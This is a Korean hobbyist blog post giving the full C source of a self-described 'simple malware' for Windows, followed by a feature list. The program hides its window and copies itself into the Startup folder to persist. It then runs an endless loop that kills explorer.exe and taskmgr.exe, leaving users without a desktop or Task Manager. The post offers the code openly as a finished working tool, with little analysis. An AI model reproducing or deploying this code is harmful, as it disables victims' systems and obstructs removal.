본문 바로가기

My Study/Programming&Theory

간단하게 만들어본 악성코드

#pragma comment(lib, "psapi.lib")

#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <Windows.h>
#include <Tlhelp32.h>
#include <atlstr.h>  //Cstring 구조체 선언하기 위해j
#include <shlobj.h>  //SHGetSpecialFolderPath함수 쓰기위해
#include <psapi.h>

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
HINSTANCE g_hInst;
CONST TCHAR* lpszClass = NULL;
CONST TCHAR* MY = _T("Ezbeat");

void Kill_Process(); //프로세스 죽이는 함수
void Move_File();  //해당 파일 다른 폴더로 복사하는 함수
void Cmd();    //cmd창 띄워주는 함수

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, TCHAR* lpszCmdParam, int nCmdshow)
{
 HWND hWnd;
 MSG Message;
 WNDCLASS WndClass;
 g_hInst = hInstance;

 WndClass.cbClsExtra = 0;
 WndClass.cbWndExtra = 0;
 WndClass.hbrBackground = NULL;
 WndClass.hCursor = NULL;
 WndClass.hIcon = NULL;
 WndClass.hInstance = hInstance;
 WndClass.lpfnWndProc = WndProc;
 WndClass.lpszClassName = _T("virus");
 WndClass.lpszMenuName = NULL;
 WndClass.style = 0;
 RegisterClass(&WndClass);

 hWnd = CreateWindow(_T("virus"),_T(""),WS_POPUP,0,0,0,0,
  NULL, (HMENU)NULL, hInstance, NULL);
 ShowWindow(hWnd, SW_HIDE);


 while(GetMessage(&Message,NULL,0,0)) //메시지 큐에서 메시지를 읽어들임
 {
  TranslateMessage(&Message);    //키보드 누르면 눌렀다는 메시지 만들어냄
  DispatchMessage(&Message);    //WndProc로 전달
 }

 return (int)Message.wParam;
}


LRESULT CALLBACK WndProc(HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam)
{
 switch ( iMessage ) {
  case WM_CREATE:
     //Cmd();
     Move_File();
    while(TRUE)
    {
     Kill_Process();
     Sleep(10); //CPU할당량 줄여주기 위해 ^^
    }
    return 0; 

  case WM_DESTROY:
   //PostQuitMessage(0);
   return 0;
  }
 return DefWindowProc(hWnd, iMessage, wParam, lParam);
}

void Kill_Process()
{
 HANDLE hSnapshot;
 hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );  //프로세스 전체 스냅샷!
 if ( (int)hSnapshot != -1 )
 {
  PROCESSENTRY32 pe32={0,} ;
  pe32.dwSize = sizeof(PROCESSENTRY32);
  BOOL bContinue ;
  CString strProcessName;  

  if ( Process32First ( hSnapshot, &pe32 ) )            //첫번째 프로세스 정보를 검색
  {
   do
   {
    strProcessName = pe32.szExeFile;                      //검색된 프로세스 명을 strProcessName에 담음
    if(strProcessName.Compare(_T("taskmgr.exe")) == 0)               //입력한 프로세스 명과 비교 있으면 아래 시행
    {
     HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, 0,pe32.th32ProcessID ); //핸들 값 얻고
     if( hProcess )                             //핸들 값 얻기 성공하면
     {
      TerminateProcess(hProcess,0);
     }
    }
    else if(strProcessName.Compare(_T("explorer.exe")) == 0)
    {
     HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, 0,pe32.th32ProcessID ); //핸들 값 얻고
     if( hProcess )                             //핸들 값 얻기 성공하면
     {
      TerminateProcess(hProcess,0);
     }
    }
    bContinue = Process32Next ( hSnapshot, &pe32 ); //없으면 다음 프로세스를 찾음..
   } while ( bContinue );             //다음 프로세스 없으면 루틴 벗어남!
  }
  CloseHandle( hSnapshot );
 }
}

void Move_File()
{
 HANDLE hPro=NULL;
 TCHAR File_Name[MAX_PATH]={0,};               //파일 명
 HANDLE hProcess = GetCurrentProcess();
 DWORD PID_Process = GetProcessId(hProcess);
 hPro = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, PID_Process);
 GetModuleBaseName(hPro,NULL,File_Name,MAX_PATH);       //PID로부터 프로세스 이름 얻어옴
 TCHAR Original_File_place[MAX_PATH]=  {0,};           //원본 프로그램 위치 담을 변수
 TCHAR New_File_place[MAX_PATH] = {0,};             //새로 복사할 위치를 담을 변수
 GetModuleFileName(NULL,Original_File_place,MAX_PATH);       //원본 파일 경로 읽어옴
 SHGetSpecialFolderPath(NULL,New_File_place,CSIDL_STARTUP,FALSE); //시작프로그램 경로 읽어옴
 _tcsncat(New_File_place,_T("\\"),sizeof(_T("\\")));        //PID로부터 얻어온 프로세스 이름 경로에 붙혀주기 위해..^^
 _tcsncat(New_File_place,File_Name,sizeof(File_Name));        //읽어온 시작프로그램 경로에 파일 명 붙혀줌
 CopyFile(Original_File_place,New_File_place,FALSE);         //프로그램 복사
}

void Cmd()
{
 TCHAR command[] = _T("cmd.exe");

 STARTUPINFO si={0,};
 PROCESS_INFORMATION pi;
 si.cb = sizeof(si);

 SetCurrentDirectory(_T("C:\\WINDOWS\\system32"));                //프로세스 현재 디렉토리 바꿔줌
 CreateProcess(NULL,command,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi); //해당 프로그램 띄움 새 창에서 (cmd)
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
}

기능
1. 작업표시줄에 뜨지 않음
2. 응용프로그램에 뜨지 않음(프로세스에선 봐짐..)
3. exlorer.exe(바탕화면)와 taskmgr.exe(작업관리자)프로세스를 계속 탐지해 존재하면 바로 죽여버림
4. 실행 시 바로 시작프로그램에 달라붙음(파일명은 마음대로 바꿔도 됨)
5. CPU 거의 않먹음..

간단하게 만들어봤어요 ~ 시스템 프로그래밍 책을 봐보고 있는데 흥미롭네요..

'My Study > Programming&Theory' 카테고리의 다른 글

Trap Flag  (0) 2009.12.05
PEB.ProcessHeap.ForceFlags  (0) 2009.12.05
PEB.ProcessHeap.Flags  (0) 2009.12.05
NtGlobalFlag  (0) 2009.12.05
PEB.BeingDeugged  (0) 2009.12.05